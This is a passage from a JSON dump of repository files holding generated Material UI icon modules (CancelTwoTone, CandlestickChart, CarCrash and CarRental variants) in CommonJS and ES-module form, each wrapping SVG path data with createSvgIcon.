    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m5 11.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3.59-13L12 10.59 8.41 7 7 8.41 10.59 12 7 15.59 8.41 17 12 13.41 15.59 17 17 15.59 13.41 12 17 8.41z\"\n}, \"1\")], 'CancelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CancelTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m5 11.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3.59-13L12 10.59 8.41 7 7 8.41 10.59 12 7 15.59 8.41 17 12 13.41 15.59 17 17 15.59 13.41 12 17 8.41z\"\n}, \"1\")], 'CancelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CandlestickChart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4H7v2H5v12h2v2h2v-2h2V6H9zm10 4h-2V4h-2v4h-2v7h2v5h2v-5h2z\"\n}), 'CandlestickChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/CandlestickChart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4H7v2H5v12h2v2h2v-2h2V6H9zm10 4h-2V4h-2v4h-2v7h2v5h2v-5h2z\"\n}), 'CandlestickChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/CandlestickChartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4H7v2H5v12h2v2h2v-2h2V6H9zm0 12H7V8h2zm10-8h-2V4h-2v4h-2v7h2v5h2v-5h2zm-2 5h-2v-3h2z\"\n}), 'CandlestickChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CandlestickChartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4H7v2H5v12h2v2h2v-2h2V6H9zm0 12H7V8h2zm10-8h-2V4h-2v4h-2v7h2v5h2v-5h2zm-2 5h-2v-3h2z\"\n}), 'CandlestickChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CandlestickChartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4c-.55 0-1 .45-1 1v1H6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1H9V5c0-.55-.45-1-1-1m10 4h-1V5c0-.55-.45-1-1-1s-1 .45-1 1v3h-1c-.55 0-1 .45-1 1v5c0 .55.45 1 1 1h1v4c0 .55.45 1 1 1s1-.45 1-1v-4h1c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1\"\n}), 'CandlestickChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CandlestickChartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4c-.55 0-1 .45-1 1v1H6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1H9V5c0-.55-.45-1-1-1m10 4h-1V5c0-.55-.45-1-1-1s-1 .45-1 1v3h-1c-.55 0-1 .45-1 1v5c0 .55.45 1 1 1h1v4c0 .55.45 1 1 1s1-.45 1-1v-4h1c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1\"\n}), 'CandlestickChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CandlestickChartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4H7v2H5v12h2v2h2v-2h2V6H9zm10 4h-2V4h-2v4h-2v7h2v5h2v-5h2z\"\n}), 'CandlestickChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CandlestickChartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4H7v2H5v12h2v2h2v-2h2V6H9zm10 4h-2V4h-2v4h-2v7h2v5h2v-5h2z\"\n}), 'CandlestickChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CandlestickChartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4H7v2H5v12h2v2h2v-2h2V6H9zm0 12H7V8h2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 8h2v8H7zm8 2h2v3h-2z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8h-2V4h-2v4h-2v7h2v5h2v-5h2zm-2 5h-2v-3h2z\"\n}, \"2\")], 'CandlestickChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CandlestickChartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4H7v2H5v12h2v2h2v-2h2V6H9zm0 12H7V8h2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 8h2v8H7zm8 2h2v3h-2z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8h-2V4h-2v4h-2v7h2v5h2v-5h2zm-2 5h-2v-3h2z\"\n}, \"2\")], 'CandlestickChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarCrash.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 6h-1V3h1zm0 1v1h-1V8zm-.59 5c.06.16.09.33.09.5 0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5c0-.39.15-.74.39-1.01-1.63-.66-2.96-1.91-3.71-3.49H5.81l1.04-3H11c0-.69.1-1.37.29-2H6.5c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-6.68c-1.05.51-2.16.69-3.09.68M7.5 15c-.83 0-1.5-.67-1.5-1.5S6.67 12 7.5 12s1.5.67 1.5 1.5S8.33 15 7.5 15\"\n}), 'CarCrash');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarCrash.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 6h-1V3h1zm0 1v1h-1V8zm-.59 5c.06.16.09.33.09.5 0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5c0-.39.15-.74.39-1.01-1.63-.66-2.96-1.91-3.71-3.49H5.81l1.04-3H11c0-.69.1-1.37.29-2H6.5c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-6.68c-1.05.51-2.16.69-3.09.68M7.5 15c-.83 0-1.5-.67-1.5-1.5S6.67 12 7.5 12s1.5.67 1.5 1.5S8.33 15 7.5 15\"\n}), 'CarCrash');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarCrashOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 6h-1V3h1zm0 1v1h-1V8zM6 13.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 15 7.5 15 6 14.33 6 13.5m13-.57c.65-.09 1.34-.28 2-.6V19c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-1H6v1c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-8l2.08-5.99C5.29 4.42 5.84 4 6.5 4h4.79c-.19.63-.29 1.31-.29 2H6.85L5.81 9h5.86c.36.75.84 1.43 1.43 2H5v5h14zm-1.09.07c-.89-.01-1.74-.19-2.53-.51-.23.27-.38.62-.38 1.01 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.18-.03-.34-.09-.5\"\n}), 'CarCrashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarCrashOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 6h-1V3h1zm0 1v1h-1V8zM6 13.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 15 7.5 15 6 14.33 6 13.5m13-.57c.65-.09 1.34-.28 2-.6V19c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-1H6v1c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-8l2.08-5.99C5.29 4.42 5.84 4 6.5 4h4.79c-.19.63-.29 1.31-.29 2H6.85L5.81 9h5.86c.36.75.84 1.43 1.43 2H5v5h14zm-1.09.07c-.89-.01-1.74-.19-2.53-.51-.23.27-.38.62-.38 1.01 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.18-.03-.34-.09-.5\"\n}), 'CarCrashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarCrashRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 6c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5s.5.22.5.5v3c0 .28-.22.5-.5.5m.5 1.5c0 .28-.22.5-.5.5s-.5-.22-.5-.5.22-.5.5-.5.5.22.5.5m1 11.5c.82 0 1.5-.67 1.5-1.5v-6.18c-1.05.51-2.16.69-3.09.68.06.16.09.33.09.5 0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5c0-.39.15-.74.39-1.01-1.63-.66-2.96-1.91-3.71-3.49H5.81l1.04-3H11c0-.69.1-1.37.29-2H6.5c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.67 1.5 1.5 1.5S6 19.33 6 18.5V18h12v.5c0 .83.68 1.5 1.5 1.5m-12-5c-.83 0-1.5-.67-1.5-1.5S6.67 12 7.5 12s1.5.67 1.5 1.5S8.33 15 7.5 15\"\n}), 'CarCrashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarCrashRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 6c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5s.5.22.5.5v3c0 .28-.22.5-.5.5m.5 1.5c0 .28-.22.5-.5.5s-.5-.22-.5-.5.22-.5.5-.5.5.22.5.5m1 11.5c.82 0 1.5-.67 1.5-1.5v-6.18c-1.05.51-2.16.69-3.09.68.06.16.09.33.09.5 0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5c0-.39.15-.74.39-1.01-1.63-.66-2.96-1.91-3.71-3.49H5.81l1.04-3H11c0-.69.1-1.37.29-2H6.5c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.67 1.5 1.5 1.5S6 19.33 6 18.5V18h12v.5c0 .83.68 1.5 1.5 1.5m-12-5c-.83 0-1.5-.67-1.5-1.5S6.67 12 7.5 12s1.5.67 1.5 1.5S8.33 15 7.5 15\"\n}), 'CarCrashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarCrashSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 6h-1V3h1zm0 1v1h-1V8zm-.59 5c.06.16.09.33.09.5 0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5c0-.39.15-.74.39-1.01-1.63-.66-2.96-1.91-3.71-3.49H5.81l1.04-3H11c0-.69.1-1.37.29-2H5.41L3 11v9h3v-2h12v2h3v-7.68c-1.05.51-2.16.69-3.09.68M7.5 15c-.83 0-1.5-.67-1.5-1.5S6.67 12 7.5 12s1.5.67 1.5 1.5S8.33 15 7.5 15\"\n}), 'CarCrashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarCrashSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 6h-1V3h1zm0 1v1h-1V8zm-.59 5c.06.16.09.33.09.5 0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5c0-.39.15-.74.39-1.01-1.63-.66-2.96-1.91-3.71-3.49H5.81l1.04-3H11c0-.69.1-1.37.29-2H5.41L3 11v9h3v-2h12v2h3v-7.68c-1.05.51-2.16.69-3.09.68M7.5 15c-.83 0-1.5-.67-1.5-1.5S6.67 12 7.5 12s1.5.67 1.5 1.5S8.33 15 7.5 15\"\n}), 'CarCrashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarCrashTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.91 13c.06.16.09.33.09.5 0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5c0-.39.15-.74.39-1-.86-.35-1.63-.86-2.29-1.5H5v5h14v-3.07c-.33.05-.61.07-1.09.07M7.5 15c-.83 0-1.5-.67-1.5-1.5S6.67 12 7.5 12s1.5.67 1.5 1.5S8.33 15 7.5 15\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 6h-1V3h1zm0 1v1h-1V8zM6 13.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 15 7.5 15 6 14.33 6 13.5m13-.57c.65-.09 1.34-.28 2-.6V19c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-1H6v1c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-8l2.08-5.99C5.29 4.42 5.84 4 6.5 4h4.79c-.19.63-.29 1.31-.29 2H6.85L5.81 9h5.86c.36.75.84 1.43 1.43 2H5v5h14zm-1.09.07c-.89-.01-1.74-.19-2.53-.51-.23.27-.38.62-.38 1.01 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.18-.03-.34-.09-.5\"\n}, \"1\")], 'CarCrashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarCrashTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.91 13c.06.16.09.33.09.5 0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5c0-.39.15-.74.39-1-.86-.35-1.63-.86-2.29-1.5H5v5h14v-3.07c-.33.05-.61.07-1.09.07M7.5 15c-.83 0-1.5-.67-1.5-1.5S6.67 12 7.5 12s1.5.67 1.5 1.5S8.33 15 7.5 15\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 6h-1V3h1zm0 1v1h-1V8zM6 13.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 15 7.5 15 6 14.33 6 13.5m13-.57c.65-.09 1.34-.28 2-.6V19c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-1H6v1c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-8l2.08-5.99C5.29 4.42 5.84 4 6.5 4h4.79c-.19.63-.29 1.31-.29 2H6.85L5.81 9h5.86c.36.75.84 1.43 1.43 2H5v5h14zm-1.09.07c-.89-.01-1.74-.19-2.53-.51-.23.27-.38.62-.38 1.01 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.18-.03-.34-.09-.5\"\n}, \"1\")], 'CarCrashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRental.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.39 9H7.61c-.43 0-.81.28-.95.68l-1.66 5v6.81c0 .29.23.51.5.51h1c.28 0 .5-.22.5-.5V20h10v1.5c0 .28.22.5.5.5h1c.28 0 .5-.22.5-.5v-6.81l-1.66-5c-.14-.41-.52-.69-.95-.69m-8.61 9c-.68 0-1.22-.54-1.22-1.22s.54-1.22 1.22-1.22S9 16.11 9 16.78 8.46 18 7.78 18m8.44 0c-.67 0-1.22-.54-1.22-1.22s.54-1.22 1.22-1.22 1.22.54 1.22 1.22S16.9 18 16.22 18m-9.93-4 1.33-4h8.78l1.33 4zm4.54-11C10.41 1.83 9.3 1 8 1 6.34 1 5 2.34 5 4c0 1.65 1.34 3 3 3 1.3 0 2.41-.84 2.83-2H16v2h2V5h1V3zM8 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'CarRental');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRental.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.39 9H7.61c-.43 0-.81.28-.95.68l-1.66 5v6.81c0 .29.23.51.5.51h1c.28 0 .5-.22.5-.5V20h10v1.5c0 .28.22.5.5.5h1c.28 0 .5-.22.5-.5v-6.81l-1.66-5c-.14-.41-.52-.69-.95-.69m-8.61 9c-.68 0-1.22-.54-1.22-1.22s.54-1.22 1.22-1.22S9 16.11 9 16.78 8.46 18 7.78 18m8.44 0c-.67 0-1.22-.54-1.22-1.22s.54-1.22 1.22-1.22 1.22.54 1.22 1.22S16.9 18 16.22 18m-9.93-4 1.33-4h8.78l1.33 4zm4.54-11C10.41 1.83 9.3 1 8 1 6.34 1 5 2.34 5 4c0 1.65 1.34 3 3 3 1.3 0 2.41-.84 2.83-2H16v2h2V5h1V3zM8 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'CarRental');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRentalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"16.5\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"16.5\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.25 9.6c-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4-.22.66-.74 2.22-1.56 4.69v6.5c0 .45.35.81.78.81h.44c.43 0 .78-.36.78-.81V20h10v1.19c0 .45.34.81.78.81h.44c.43 0 .78-.36.78-.81v-6.5c-.82-2.46-1.34-4.03-1.56-4.69-.05-.16-.12-.29-.19-.4M8.33 11h7.34l.23.69.43 1.31H7.67zM17 18H7v-3h10zM10.83 3C10.41 1.83 9.3 1 8 1 6.34 1 5 2.34 5 4c0 1.65 1.34 3 3 3 1.3 0 2.41-.84 2.83-2H16v2h2V5h1V3zM8 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"2\")], 'CarRentalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRentalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"16.5\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"16.5\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.25 9.6c-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4-.22.66-.74 2.22-1.56 4.69v6.5c0 .45.35.81.78.81h.44c.43 0 .78-.36.78-.81V20h10v1.19c0 .45.34.81.78.81h.44c.43 0 .78-.36.78-.81v-6.5c-.82-2.46-1.34-4.03-1.56-4.69-.05-.16-.12-.29-.19-.4M8.33 11h7.34l.23.69.43 1.31H7.67zM17 18H7v-3h10zM10.83 3C10.41 1.83 9.3 1 8 1 6.34 1 5 2.34 5 4c0 1.65 1.34 3 3 3 1.3 0 2.41-.84 2.83-2H16v2h2V5h1V3zM8 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"2\")], 'CarRentalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRentalRounded.js",
